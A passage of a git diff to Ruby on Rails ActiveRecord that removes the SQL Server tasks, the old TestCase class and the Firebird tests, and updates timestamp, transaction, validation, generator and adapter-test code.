+        Kernel.system("psql -q -f #{Shellwords.escape(filename)} #{configuration['database']}")
       end
 
       private
diff --git a/activerecord/lib/active_record/tasks/sqlserver_database_tasks.rb b/activerecord/lib/active_record/tasks/sqlserver_database_tasks.rb
deleted file mode 100644
index c718ee0..0000000
--- a/activerecord/lib/active_record/tasks/sqlserver_database_tasks.rb
+++ /dev/null
@@ -1,48 +0,0 @@
-require 'shellwords'
-
-module ActiveRecord
-  module Tasks # :nodoc:
-    class SqlserverDatabaseTasks # :nodoc:
-      delegate :connection, :establish_connection, to: ActiveRecord::Base
-
-      def initialize(configuration)
-        ActiveSupport::Deprecation.warn "This database tasks were deprecated, because this tasks should be served by the 3rd party adapter."
-        @configuration = configuration
-      end
-
-      def create
-        $stderr.puts 'sorry, your database adapter is not supported yet, feel free to submit a patch'
-      end
-
-      def drop
-        $stderr.puts 'sorry, your database adapter is not supported yet, feel free to submit a patch'
-      end
-
-      def purge
-        test = configuration.deep_dup
-        test_database = test['database']
-        test['database'] = 'master'
-        establish_connection(test)
-        connection.recreate_database!(test_database)
-      end
-
-      def charset
-        $stderr.puts 'sorry, your database adapter is not supported yet, feel free to submit a patch'
-      end
-
-      def structure_dump(filename)
-        Kernel.system("smoscript -s #{configuration['host']} -d #{configuration['database']} -u #{configuration['username']} -p #{configuration['password']} -f #{filename} -A -U")
-      end
-
-      def structure_load(filename)
-        Kernel.system("sqlcmd -S #{configuration['host']} -d #{configuration['database']} -U #{configuration['username']} -P #{configuration['password']} -i #{filename}")
-      end
-
-      private
-
-      def configuration
-        @configuration
-      end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/test_case.rb b/activerecord/lib/active_record/test_case.rb
deleted file mode 100644
index e914248..0000000
--- a/activerecord/lib/active_record/test_case.rb
+++ /dev/null
@@ -1,96 +0,0 @@
-require 'active_support/test_case'
-
-ActiveSupport::Deprecation.warn('ActiveRecord::TestCase is deprecated, please use ActiveSupport::TestCase')
-module ActiveRecord
-  # = Active Record Test Case
-  #
-  # Defines some test assertions to test against SQL queries.
-  class TestCase < ActiveSupport::TestCase #:nodoc:
-    def teardown
-      SQLCounter.clear_log
-    end
-
-    def assert_date_from_db(expected, actual, message = nil)
-      # SybaseAdapter doesn't have a separate column type just for dates,
-      # so the time is in the string and incorrectly formatted
-      if current_adapter?(:SybaseAdapter)
-        assert_equal expected.to_s, actual.to_date.to_s, message
-      else
-        assert_equal expected.to_s, actual.to_s, message
-      end
-    end
-
-    def assert_sql(*patterns_to_match)
-      SQLCounter.clear_log
-      yield
-      SQLCounter.log_all
-    ensure
-      failed_patterns = []
-      patterns_to_match.each do |pattern|
-        failed_patterns << pattern unless SQLCounter.log_all.any?{ |sql| pattern === sql }
-      end
-      assert failed_patterns.empty?, "Query pattern(s) #{failed_patterns.map{ |p| p.inspect }.join(', ')} not found.#{SQLCounter.log.size == 0 ? '' : "\nQueries:\n#{SQLCounter.log.join("\n")}"}"
-    end
-
-    def assert_queries(num = 1, options = {})
-      ignore_none = options.fetch(:ignore_none) { num == :any }
-      SQLCounter.clear_log
-      yield
-    ensure
-      the_log = ignore_none ? SQLCounter.log_all : SQLCounter.log
-      if num == :any
-        assert_operator the_log.size, :>=, 1, "1 or more queries expected, but none were executed."
-      else
-        mesg = "#{the_log.size} instead of #{num} queries were executed.#{the_log.size == 0 ? '' : "\nQueries:\n#{the_log.join("\n")}"}"
-        assert_equal num, the_log.size, mesg
-      end
-    end
-
-    def assert_no_queries(&block)
-      assert_queries(0, :ignore_none => true, &block)
-    end
-
-  end
-
-  class SQLCounter
-    class << self
-      attr_accessor :ignored_sql, :log, :log_all
-      def clear_log; self.log = []; self.log_all = []; end
-    end
-
-    self.clear_log
-
-    self.ignored_sql = [/^PRAGMA/, /^SELECT currval/, /^SELECT CAST/, /^SELECT @@IDENTITY/, /^SELECT @@ROWCOUNT/, /^SAVEPOINT/, /^ROLLBACK TO SAVEPOINT/, /^RELEASE SAVEPOINT/, /^SHOW max_identifier_length/, /^BEGIN/, /^COMMIT/]
-
-    # FIXME: this needs to be refactored so specific database can add their own
-    # ignored SQL, or better yet, use a different notification for the queries
-    # instead examining the SQL content.
-    oracle_ignored     = [/^select .*nextval/i, /^SAVEPOINT/, /^ROLLBACK TO/, /^\s*select .* from all_triggers/im]
-    mysql_ignored      = [/^SHOW TABLES/i, /^SHOW FULL FIELDS/]
-    postgresql_ignored = [/^\s*select\b.*\bfrom\b.*pg_namespace\b/im, /^\s*select\b.*\battname\b.*\bfrom\b.*\bpg_attribute\b/im, /^SHOW search_path/i]
-    sqlite3_ignored =    [/^\s*SELECT name\b.*\bFROM sqlite_master/im]
-
-    [oracle_ignored, mysql_ignored, postgresql_ignored, sqlite3_ignored].each do |db_ignored_sql|
-      ignored_sql.concat db_ignored_sql
-    end
-
-    attr_reader :ignore
-
-    def initialize(ignore = Regexp.union(self.class.ignored_sql))
-      @ignore = ignore
-    end
-
-    def call(name, start, finish, message_id, values)
-      sql = values[:sql]
-
-      # FIXME: this seems bad. we should probably have a better way to indicate
-      # the query was cached
-      return if 'CACHE' == values[:name]
-
-      self.class.log_all << sql
-      self.class.log << sql unless ignore =~ sql
-    end
-  end
-
-  ActiveSupport::Notifications.subscribe('sql.active_record', SQLCounter.new)
-end
diff --git a/activerecord/lib/active_record/timestamp.rb b/activerecord/lib/active_record/timestamp.rb
index ae99cff..6c30cca 100644
--- a/activerecord/lib/active_record/timestamp.rb
+++ b/activerecord/lib/active_record/timestamp.rb
@@ -10,9 +10,9 @@ module ActiveRecord
   #
   #   config.active_record.record_timestamps = false
   #
-  # Timestamps are in the local timezone by default but you can use UTC by setting:
+  # Timestamps are in UTC by default but you can use the local timezone by setting:
   #
-  #   config.active_record.default_timezone = :utc
+  #   config.active_record.default_timezone = :local
   #
   # == Time Zone aware attributes
   #
@@ -37,13 +37,13 @@ module ActiveRecord
     end
 
     def initialize_dup(other) # :nodoc:
-      clear_timestamp_attributes
       super
+      clear_timestamp_attributes
     end
 
   private
 
-    def create_record
+    def _create_record
       if self.record_timestamps
         current_time = current_time_from_proper_timezone
 
@@ -57,7 +57,7 @@ module ActiveRecord
       super
     end
 
-    def update_record(*args)
+    def _update_record(*args)
       if should_record_timestamps?
         current_time = current_time_from_proper_timezone
 
@@ -71,7 +71,7 @@ module ActiveRecord
     end
 
     def should_record_timestamps?
-      self.record_timestamps && (!partial_writes? || changed? || (attributes.keys & self.class.serialized_attributes.keys).present?)
+      self.record_timestamps && (!partial_writes? || changed?)
     end
 
     def timestamp_attributes_for_create_in_model
@@ -98,8 +98,8 @@ module ActiveRecord
       timestamp_attributes_for_create + timestamp_attributes_for_update
     end
 
-    def max_updated_column_timestamp
-      if (timestamps = timestamp_attributes_for_update.map { |attr| self[attr] }.compact).present?
+    def max_updated_column_timestamp(timestamp_names = timestamp_attributes_for_update)
+      if (timestamps = timestamp_names.map { |attr| self[attr] }.compact).present?
         timestamps.map { |ts| ts.to_time }.max
       end
     end
diff --git a/activerecord/lib/active_record/transactions.rb b/activerecord/lib/active_record/transactions.rb
index b060dc0..17f76b6 100644
--- a/activerecord/lib/active_record/transactions.rb
+++ b/activerecord/lib/active_record/transactions.rb
@@ -6,11 +6,10 @@ module ActiveRecord
     extend ActiveSupport::Concern
     ACTIONS = [:create, :destroy, :update]
 
-    class TransactionError < ActiveRecordError # :nodoc:
-    end
-
     included do
-      define_callbacks :commit, :rollback, :terminator => "result == false", :scope => [:kind, :name]
+      define_callbacks :commit, :rollback,
+                       terminator: ->(_, result) { result == false },
+                       scope: [:kind, :name]
     end
 
     # = Active Record Transactions
@@ -218,8 +217,8 @@ module ActiveRecord
       #   after_commit :do_bar, on: :update
       #   after_commit :do_baz, on: :destroy
       #
-      #   after_commit :do_foo_bar, :on [:create, :update]
-      #   after_commit :do_bar_baz, :on [:update, :destroy]
+      #   after_commit :do_foo_bar, on: [:create, :update]
+      #   after_commit :do_bar_baz, on: [:update, :destroy]
       #
       # Note that transactional fixtures do not play well with this feature. Please
       # use the +test_after_commit+ gem to have these hooks fired in tests.
@@ -241,15 +240,14 @@ module ActiveRecord
       def set_options_for_callbacks!(args)
         options = args.last
         if options.is_a?(Hash) && options[:on]
-          assert_valid_transaction_action(options[:on])
-          options[:if] = Array(options[:if])
           fire_on = Array(options[:on])
+          assert_valid_transaction_action(fire_on)
+          options[:if] = Array(options[:if])
           options[:if] << "transaction_include_any_action?(#{fire_on})"
         end
       end
 
       def assert_valid_transaction_action(actions)
-        actions = Array(actions)
         if (actions - ACTIONS).any?
           raise ArgumentError, ":on conditions for after_commit and after_rollback callbacks have to be one of #{ACTIONS.join(",")}"
         end
@@ -275,6 +273,10 @@ module ActiveRecord
       with_transaction_returning_status { super }
     end
 
+    def touch(*) #:nodoc:
+      with_transaction_returning_status { super }
+    end
+
     # Reset id and @new_record if the transaction rolls back.
     def rollback_active_record_state!
       remember_transaction_record_state
@@ -293,7 +295,7 @@ module ActiveRecord
     def committed! #:nodoc:
       run_callbacks :commit if destroyed? || persisted?
     ensure
-      clear_transaction_record_state
+      @_start_transaction_state.clear
     end
 
     # Call the +after_rollback+ callbacks. The +force_restore_state+ argument indicates if the record
@@ -302,6 +304,7 @@ module ActiveRecord
       run_callbacks :rollback
     ensure
       restore_transaction_record_state(force_restore_state)
+      clear_transaction_record_state
     end
 
     # Add the record to the current transaction so that the +after_rollback+ and +after_commit+ callbacks
@@ -358,21 +361,20 @@ module ActiveRecord
     # Restore the new record state and id of a record that was previously saved by a call to save_record_state.
     def restore_transaction_record_state(force = false) #:nodoc:
       unless @_start_transaction_state.empty?
-        @_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) - 1
-        if @_start_transaction_state[:level] < 1 || force
+        transaction_level = (@_start_transaction_state[:level] || 0) - 1
+        if transaction_level < 1 || force
           restore_state = @_start_transaction_state
           was_frozen = restore_state[:frozen?]
           @attributes = @attributes.dup if @attributes.frozen?
           @new_record = restore_state[:new_record]
           @destroyed  = restore_state[:destroyed]
           if restore_state.has_key?(:id)
-            self.id = restore_state[:id]
+            write_attribute(self.class.primary_key, restore_state[:id])
           else
             @attributes.delete(self.class.primary_key)
             @attributes_cache.delete(self.class.primary_key)
           end
           @attributes.freeze if was_frozen
-          @_start_transaction_state.clear
         end
       end
     end
diff --git a/activerecord/lib/active_record/validations/presence.rb b/activerecord/lib/active_record/validations/presence.rb
index 6b14c39..e586744 100644
--- a/activerecord/lib/active_record/validations/presence.rb
+++ b/activerecord/lib/active_record/validations/presence.rb
@@ -4,8 +4,8 @@ module ActiveRecord
       def validate(record)
         super
         attributes.each do |attribute|
-          next unless record.class.reflect_on_association(attribute)
-          associated_records = Array(record.send(attribute))
+          next unless record.class._reflect_on_association(attribute)
+          associated_records = Array.wrap(record.send(attribute))
 
           # Superclass validates presence. Ensure present records aren't about to be destroyed.
           if associated_records.present? && associated_records.all? { |r| r.marked_for_destruction? }
diff --git a/activerecord/lib/active_record/validations/uniqueness.rb b/activerecord/lib/active_record/validations/uniqueness.rb
index 6635156..57b214b 100644
--- a/activerecord/lib/active_record/validations/uniqueness.rb
+++ b/activerecord/lib/active_record/validations/uniqueness.rb
@@ -7,16 +7,13 @@ module ActiveRecord
                                "Pass a callable instead: `conditions: -> { where(approved: true) }`"
         end
         super({ case_sensitive: true }.merge!(options))
-      end
-
-      # Unfortunately, we have to tie Uniqueness validators to a class.
-      def setup(klass)
-        @klass = klass
+        @klass = options[:class]
       end
 
       def validate_each(record, attribute, value)
         finder_class = find_finder_class_for(record)
         table = finder_class.arel_table
+        value = map_enum_attribute(finder_class,attribute,value)
         value = deserialize_attribute(record, attribute, value)
 
         relation = build_relation(finder_class, table, attribute, value)
@@ -34,7 +31,6 @@ module ActiveRecord
       end
 
     protected
-
       # The check for an existing value should be run from a class that
       # isn't abstract. This means working down from the current class
       # (self), to the first non-abstract class. Since classes don't know
@@ -51,12 +47,20 @@ module ActiveRecord
       end
 
       def build_relation(klass, table, attribute, value) #:nodoc:
-        if reflection = klass.reflect_on_association(attribute)
+        if reflection = klass._reflect_on_association(attribute)
           attribute = reflection.foreign_key
-          value = value.attributes[reflection.primary_key_column.name]
+          value = value.attributes[reflection.primary_key_column.name] unless value.nil?
         end
 
-        column = klass.columns_hash[attribute.to_s]
+        attribute_name = attribute.to_s
+
+        # the attribute may be an aliased attribute
+        if klass.attribute_aliases[attribute_name]
+          attribute = klass.attribute_aliases[attribute_name]
+          attribute_name = attribute.to_s
+        end
+
+        column = klass.columns_hash[attribute_name]
         value  = klass.connection.type_cast(value, column)
         value  = value.to_s[0, column.limit] if value && column.limit && column.text?
 
@@ -71,7 +75,7 @@ module ActiveRecord
 
       def scope_relation(record, table, relation)
         Array(options[:scope]).each do |scope_item|
-          if reflection = record.class.reflect_on_association(scope_item)
+          if reflection = record.class._reflect_on_association(scope_item)
             scope_value = record.send(reflection.foreign_key)
             scope_item  = reflection.foreign_key
           else
@@ -88,6 +92,12 @@ module ActiveRecord
         value = coder.dump value if value && coder
         value
       end
+
+      def map_enum_attribute(klass, attribute, value)
+        mapping = klass.defined_enums[attribute.to_s]
+        value = mapping[value] if value && mapping
+        value
+      end
     end
 
     module ClassMethods
@@ -171,11 +181,11 @@ module ActiveRecord
       #  WHERE title = 'My Post'             |
       #                                      |
       #                                      | # User 2 does the same thing and also
-      #                                      | # infers that his title is unique.
+      #                                      | # infers that their title is unique.
       #                                      | SELECT * FROM comments
       #                                      | WHERE title = 'My Post'
       #                                      |
-      #  # User 1 inserts his comment.       |
+      #  # User 1 inserts their comment.     |
       #  INSERT INTO comments                |
       #  (title, content) VALUES             |
       #  ('My Post', 'hi!')                  |
@@ -201,7 +211,7 @@ module ActiveRecord
       # exception. You can either choose to let this error propagate (which
       # will result in the default Rails exception page being shown), or you
       # can catch it and restart the transaction (e.g. by telling the user
-      # that the title already exists, and asking him to re-enter the title).
+      # that the title already exists, and asking them to re-enter the title).
       # This technique is also known as
       # {optimistic concurrency control}[http://en.wikipedia.org/wiki/Optimistic_concurrency_control].
       #
diff --git a/activerecord/lib/active_record/version.rb b/activerecord/lib/active_record/version.rb
index e415913..cf76a13 100644
--- a/activerecord/lib/active_record/version.rb
+++ b/activerecord/lib/active_record/version.rb
@@ -1,11 +1,8 @@
+require_relative 'gem_version'
+
 module ActiveRecord
-  # Returns the version of the currently loaded ActiveRecord as a Gem::Version
+  # Returns the version of the currently loaded ActiveRecord as a <tt>Gem::Version</tt>
   def self.version
-    Gem::Version.new "4.0.2"
-  end
-
-  module VERSION #:nodoc:
-    MAJOR, MINOR, TINY, PRE = ActiveRecord.version.segments
-    STRING = ActiveRecord.version.to_s
+    gem_version
   end
 end
diff --git a/activerecord/lib/rails/generators/active_record.rb b/activerecord/lib/rails/generators/active_record.rb
index c8aa37f..dc29213 100644
--- a/activerecord/lib/rails/generators/active_record.rb
+++ b/activerecord/lib/rails/generators/active_record.rb
@@ -1,23 +1,17 @@
 require 'rails/generators/named_base'
-require 'rails/generators/migration'
 require 'rails/generators/active_model'
+require 'rails/generators/active_record/migration'
 require 'active_record'
 
 module ActiveRecord
   module Generators # :nodoc:
     class Base < Rails::Generators::NamedBase # :nodoc:
-      include Rails::Generators::Migration
+      include ActiveRecord::Generators::Migration
 
       # Set the current directory as base for the inherited generators.
       def self.base_root
         File.dirname(__FILE__)
       end
-
-      # Implement the required interface for Rails::Generators::Migration.
-      def self.next_migration_number(dirname)
-        next_migration_number = current_migration_number(dirname) + 1
-        ActiveRecord::Migration.next_migration_number(next_migration_number)
-      end
     end
   end
 end
diff --git a/activerecord/lib/rails/generators/active_record/migration.rb b/activerecord/lib/rails/generators/active_record/migration.rb
new file mode 100644
index 0000000..b7418cf
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/migration.rb
@@ -0,0 +1,18 @@
+require 'rails/generators/migration'
+
+module ActiveRecord
+  module Generators # :nodoc:
+    module Migration
+      extend ActiveSupport::Concern
+      include Rails::Generators::Migration
+
+      module ClassMethods
+        # Implement the required interface for Rails::Generators::Migration.
+        def next_migration_number(dirname)
+          next_migration_number = current_migration_number(dirname) + 1
+          ActiveRecord::Migration.next_migration_number(next_migration_number)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb b/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb
index b967bb6..3968acb 100644
--- a/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb
+++ b/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb
@@ -14,6 +14,10 @@ module ActiveRecord
       protected
       attr_reader :migration_action, :join_tables
 
+      # sets the default migration template that is being used for the generation of the migration
+      # depending on the arguments which would be sent out in the command line, the migration template 
+      # and the table name instance variables are setup.
+
       def set_local_assigns!
         @migration_template = "migration.rb"
         case file_name
diff --git a/activerecord/lib/rails/generators/active_record/model/model_generator.rb b/activerecord/lib/rails/generators/active_record/model/model_generator.rb
index 40e134e..7e8d68c 100644
--- a/activerecord/lib/rails/generators/active_record/model/model_generator.rb
+++ b/activerecord/lib/rails/generators/active_record/model/model_generator.rb
@@ -12,6 +12,9 @@ module ActiveRecord
       class_option :parent,     :type => :string, :desc => "The parent class for the generated model"
       class_option :indexes,    :type => :boolean, :default => true, :desc => "Add indexes for references and belongs_to columns"
 
+      
+      # creates the migration file for the model.
+
       def create_migration_file
         return unless options[:migration] && options[:parent].nil?
         attributes.each { |a| a.attr_options.delete(:index) if a.reference? && !a.has_index? } if options[:indexes] == false
@@ -39,6 +42,7 @@ module ActiveRecord
 
       protected
 
+        # Used by the migration template to determine the parent name of the model
         def parent_class_name
           options[:parent] || "ActiveRecord::Base"
         end
diff --git a/activerecord/test/cases/adapter_test.rb b/activerecord/test/cases/adapter_test.rb
index e28bb7b..0eb1231 100644
--- a/activerecord/test/cases/adapter_test.rb
+++ b/activerecord/test/cases/adapter_test.rb
@@ -1,5 +1,7 @@
 require "cases/helper"
 require "models/book"
+require "models/post"
+require "models/author"
 
 module ActiveRecord
   class AdapterTest < ActiveRecord::TestCase
@@ -92,7 +94,7 @@ module ActiveRecord
             )
           end
         ensure
-          ActiveRecord::Base.establish_connection 'arunit'
+          ActiveRecord::Base.establish_connection :arunit
         end
       end
     end
@@ -173,6 +175,36 @@ module ActiveRecord
         end
       end
     end
+
+    def test_select_all_always_return_activerecord_result
+      result = @connection.select_all "SELECT * FROM posts"
+      assert result.is_a?(ActiveRecord::Result)
+    end
+
+    def test_select_methods_passing_a_association_relation
+      author = Author.create!(name: 'john')
+      Post.create!(author: author, title: 'foo', body: 'bar')
+      query = author.posts.select(:title)
+      assert_equal({"title" => "foo"}, @connection.select_one(query.arel, nil, query.bind_values))
+      assert_equal({"title" => "foo"}, @connection.select_one(query))
+      assert @connection.select_all(query).is_a?(ActiveRecord::Result)
+      assert_equal "foo", @connection.select_value(query)
+      assert_equal ["foo"], @connection.select_values(query)
+    end
+
+    def test_select_methods_passing_a_relation
+      Post.create!(title: 'foo', body: 'bar')
+      query = Post.where(title: 'foo').select(:title)
+      assert_equal({"title" => "foo"}, @connection.select_one(query.arel, nil, query.bind_values))
+      assert_equal({"title" => "foo"}, @connection.select_one(query))
+      assert @connection.select_all(query).is_a?(ActiveRecord::Result)
+      assert_equal "foo", @connection.select_value(query)
+      assert_equal ["foo"], @connection.select_values(query)
+    end
+
+    test "type_to_sql returns a String for unmapped types" do
+      assert_equal "special_db_type", @connection.type_to_sql(:special_db_type)
+    end
   end
 
   class AdapterTestWithoutTransaction < ActiveRecord::TestCase
@@ -182,7 +214,7 @@ module ActiveRecord
     end
 
     def setup
-      Klass.establish_connection 'arunit'
+      Klass.establish_connection :arunit
       @connection = Klass.connection
     end
 
@@ -190,22 +222,20 @@ module ActiveRecord
       Klass.remove_connection
     end
 
-    test "transaction state is reset after a reconnect" do
-      skip "in-memory db doesn't allow reconnect" if in_memory_db?
-
-      @connection.begin_transaction
-      assert @connection.transaction_open?
-      @connection.reconnect!
-      assert !@connection.transaction_open?
-    end
-
-    test "transaction state is reset after a disconnect" do
-      skip "in-memory db doesn't allow disconnect" if in_memory_db?
+    unless in_memory_db?
+      test "transaction state is reset after a reconnect" do
+        @connection.begin_transaction
+        assert @connection.transaction_open?
+        @connection.reconnect!
+        assert !@connection.transaction_open?
+      end
 
-      @connection.begin_transaction
-      assert @connection.transaction_open?
-      @connection.disconnect!
-      assert !@connection.transaction_open?
+      test "transaction state is reset after a disconnect" do
+        @connection.begin_transaction
+        assert @connection.transaction_open?
+        @connection.disconnect!
+        assert !@connection.transaction_open?
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/adapters/firebird/connection_test.rb b/activerecord/test/cases/adapters/firebird/connection_test.rb
deleted file mode 100644
index f57ea68..0000000
--- a/activerecord/test/cases/adapters/firebird/connection_test.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require "cases/helper"
-
-class FirebirdConnectionTest < ActiveRecord::TestCase
-  def test_charset_properly_set
-    fb_conn = ActiveRecord::Base.connection.instance_variable_get(:@connection)
-    assert_equal 'UTF8', fb_conn.database.character_set
-  end
-end
diff --git a/activerecord/test/cases/adapters/firebird/default_test.rb b/activerecord/test/cases/adapters/firebird/default_test.rb
deleted file mode 100644
index 713c7e1..0000000
--- a/activerecord/test/cases/adapters/firebird/default_test.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-require "cases/helper"
-require 'models/default'
-
-class DefaultTest < ActiveRecord::TestCase
-  def test_default_timestamp
-    default = Default.new
-    assert_instance_of(Time, default.default_timestamp)
-    assert_equal(:datetime, default.column_for_attribute(:default_timestamp).type)
-
-    # Variance should be small; increase if required -- e.g., if test db is on
-    # remote host and clocks aren't synchronized.
-    t1 = Time.new
-    accepted_variance = 1.0
-    assert_in_delta(t1.to_f, default.default_timestamp.to_f, accepted_variance)
-  end
-end
diff --git a/activerecord/test/cases/adapters/firebird/migration_test.rb b/activerecord/test/cases/adapters/firebird/migration_test.rb
deleted file mode 100644
index 5c94593..0000000
--- a/activerecord/test/cases/adapters/firebird/migration_test.rb
+++ /dev/null
@@ -1,124 +0,0 @@
-require "cases/helper"
-require 'models/course'
-
-class FirebirdMigrationTest < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-
-  def setup
-    # using Course connection for tests -- need a db that doesn't already have a BOOLEAN domain
-    @connection = Course.connection
-    @fireruby_connection = @connection.instance_variable_get(:@connection)
-  end
-
-  def teardown
-    @connection.drop_table :foo rescue nil
-    @connection.execute("DROP DOMAIN D_BOOLEAN") rescue nil
-  end
-
-  def test_create_table_with_custom_sequence_name
-    assert_nothing_raised do
-      @connection.create_table(:foo, :sequence => 'foo_custom_seq') do |f|
-        f.column :bar, :string
-      end
-    end
-    assert !sequence_exists?('foo_seq')
-    assert sequence_exists?('foo_custom_seq')
-
-    assert_nothing_raised { @connection.drop_table(:foo) }
-    assert !sequence_exists?('foo_custom_seq')
-  ensure
-    FireRuby::Generator.new('foo_custom_seq', @fireruby_connection).drop rescue nil
-  end
-
-  def test_create_table_without_sequence
-    assert_nothing_raised do
-      @connection.create_table(:foo, :sequence => false) do |f|
-        f.column :bar, :string
-      end
-    end
-    assert !sequence_exists?('foo_seq')
-    assert_nothing_raised { @connection.drop_table :foo }
-
-    assert_nothing_raised do
-      @connection.create_table(:foo, :id => false) do |f|
-        f.column :bar, :string
-      end
-    end
-    assert !sequence_exists?('foo_seq')
-    assert_nothing_raised { @connection.drop_table :foo }
-  end
-
-  def test_create_table_with_boolean_column
-    assert !boolean_domain_exists?
-    assert_nothing_raised do
-      @connection.create_table :foo do |f|
-        f.column :bar, :string
-        f.column :baz, :boolean
-      end
-    end
-    assert boolean_domain_exists?
-  end
-
-  def test_add_boolean_column
-    assert !boolean_domain_exists?
-    @connection.create_table :foo do |f|
-      f.column :bar, :string
-    end
-
-    assert_nothing_raised { @connection.add_column :foo, :baz, :boolean }
-    assert boolean_domain_exists?
-    assert_equal :boolean, @connection.columns(:foo).find { |c| c.name == "baz" }.type
-  end
-
-  def test_change_column_to_boolean
-    assert !boolean_domain_exists?
-    # Manually create table with a SMALLINT column, which can be changed to a BOOLEAN
-    @connection.execute "CREATE TABLE foo (bar SMALLINT)"
-    assert_equal :integer, @connection.columns(:foo).find { |c| c.name == "bar" }.type
-
-    assert_nothing_raised { @connection.change_column :foo, :bar, :boolean }
-    assert boolean_domain_exists?
-    assert_equal :boolean, @connection.columns(:foo).find { |c| c.name == "bar" }.type
-  end
-
-  def test_rename_table_with_data_and_index
-    @connection.create_table :foo do |f|
-      f.column :baz, :string, :limit => 50
-    end
-    100.times { |i| @connection.execute "INSERT INTO foo VALUES (GEN_ID(foo_seq, 1), 'record #{i+1}')" }
-    @connection.add_index :foo, :baz
-
-    assert_nothing_raised { @connection.rename_table :foo, :bar }
-    assert !@connection.tables.include?("foo")
-    assert @connection.tables.include?("bar")
-    assert_equal "index_bar_on_baz", @connection.indexes("bar").first.name
-    assert_equal 100, FireRuby::Generator.new("bar_seq", @fireruby_connection).last
-    assert_equal 100, @connection.select_one("SELECT COUNT(*) FROM bar")["count"]
-  ensure
-    @connection.drop_table :bar rescue nil
-  end
-
-  def test_renaming_table_with_fk_constraint_raises_error
-    @connection.create_table :parent do |p|
-      p.column :name, :string
-    end
-    @connection.create_table :child do |c|
-      c.column :parent_id, :integer
-    end
-    @connection.execute "ALTER TABLE child ADD CONSTRAINT fk_child_parent FOREIGN KEY(parent_id) REFERENCES parent(id)"
-    assert_raise(ActiveRecord::ActiveRecordError) { @connection.rename_table :child, :descendant }
-  ensure
-    @connection.drop_table :child rescue nil
-    @connection.drop_table :descendant rescue nil
-    @connection.drop_table :parent rescue nil
-  end
-
-  private
-    def boolean_domain_exists?
-      !@connection.select_one("SELECT 1 FROM rdb$fields WHERE rdb$field_name = 'D_BOOLEAN'").nil?
-    end
-
-    def sequence_exists?(sequence_name)
-      FireRuby::Generator.exists?(sequence_name, @fireruby_connection)
-    end
-end
diff --git a/activerecord/test/cases/adapters/mysql/connection_test.rb b/activerecord/test/cases/adapters/mysql/connection_test.rb
index 1844a2e..977947f 100644
--- a/activerecord/test/cases/adapters/mysql/connection_test.rb
+++ b/activerecord/test/cases/adapters/mysql/connection_test.rb
@@ -16,15 +16,15 @@ class MysqlConnectionTest < ActiveRecord::TestCase
     end
   end
 
-  def test_connect_with_url
-    run_without_connection do
-      ar_config = ARTest.connection_config['arunit']
-
-      skip "This test doesn't work with custom socket location" if ar_config['socket']
-
-      url = "mysql://#{ar_config["username"]}@localhost/#{ar_config["database"]}"
-      Klass.establish_connection(url)
-      assert_equal ar_config['database'], Klass.connection.current_database
+  unless ARTest.connection_config['arunit']['socket']
+    def test_connect_with_url
+      run_without_connection do
+        ar_config = ARTest.connection_config['arunit']
+
+        url = "mysql://#{ar_config["username"]}@localhost/#{ar_config["database"]}"
+        Klass.establish_connection(url)
+        assert_equal ar_config['database'], Klass.connection.current_database
+      end
     end
   end
 
@@ -40,6 +40,11 @@ class MysqlConnectionTest < ActiveRecord::TestCase
     @connection.update('set @@wait_timeout=1')
     sleep 2
     assert !@connection.active?
+
+    # Repair all fixture connections so other tests won't break.
+    @fixture_connections.each do |c|
+      c.verify!
+    end
   end
 
   def test_successful_reconnection_after_timeout_with_manual_reconnect
@@ -66,7 +71,7 @@ class MysqlConnectionTest < ActiveRecord::TestCase
   def test_exec_no_binds
     @connection.exec_query('drop table if exists ex')
     @connection.exec_query(<<-eosql)
-      CREATE TABLE `ex` (`id` int(11) DEFAULT NULL auto_increment PRIMARY KEY,
+      CREATE TABLE `ex` (`id` int(11) auto_increment PRIMARY KEY,
         `data` varchar(255))
     eosql
     result = @connection.exec_query('SELECT id, data FROM ex')
@@ -88,7 +93,7 @@ class MysqlConnectionTest < ActiveRecord::TestCase
   def test_exec_with_binds
     @connection.exec_query('drop table if exists ex')
     @connection.exec_query(<<-eosql)
-      CREATE TABLE `ex` (`id` int(11) DEFAULT NULL auto_increment PRIMARY KEY,
+      CREATE TABLE `ex` (`id` int(11) auto_increment PRIMARY KEY,
         `data` varchar(255))
     eosql
     @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
@@ -104,7 +109,7 @@ class MysqlConnectionTest < ActiveRecord::TestCase
   def test_exec_typecasts_bind_vals
     @connection.exec_query('drop table if exists ex')
     @connection.exec_query(<<-eosql)
-      CREATE TABLE `ex` (`id` int(11) DEFAULT NULL auto_increment PRIMARY KEY,
+      CREATE TABLE `ex` (`id` int(11) auto_increment PRIMARY KEY,
         `data` varchar(255))
     eosql
     @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
@@ -150,6 +155,14 @@ class MysqlConnectionTest < ActiveRecord::TestCase
     end
   end
 
+  def test_mysql_sql_mode_variable_overides_strict_mode
+    run_without_connection do |orig_connection|
+      ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { 'sql_mode' => 'ansi' }))
+      result = ActiveRecord::Base.connection.exec_query 'SELECT @@SESSION.sql_mode'
+      assert_not_equal [['STRICT_ALL_TABLES']], result.rows
+    end
+  end
+
   def test_mysql_set_session_variable_to_default
     run_without_connection do |orig_connection|
       ActiveRecord::Base.establish_connection(orig_connection.deep_merge({:variables => {:default_week_format => :default}}))
diff --git a/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb b/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb
index 9ad0744..578f630 100644
--- a/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb
+++ b/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb
@@ -10,12 +10,20 @@ module ActiveRecord
         @conn.exec_query('drop table if exists ex')
         @conn.exec_query(<<-eosql)
           CREATE TABLE `ex` (
-            `id` int(11) DEFAULT NULL auto_increment PRIMARY KEY,
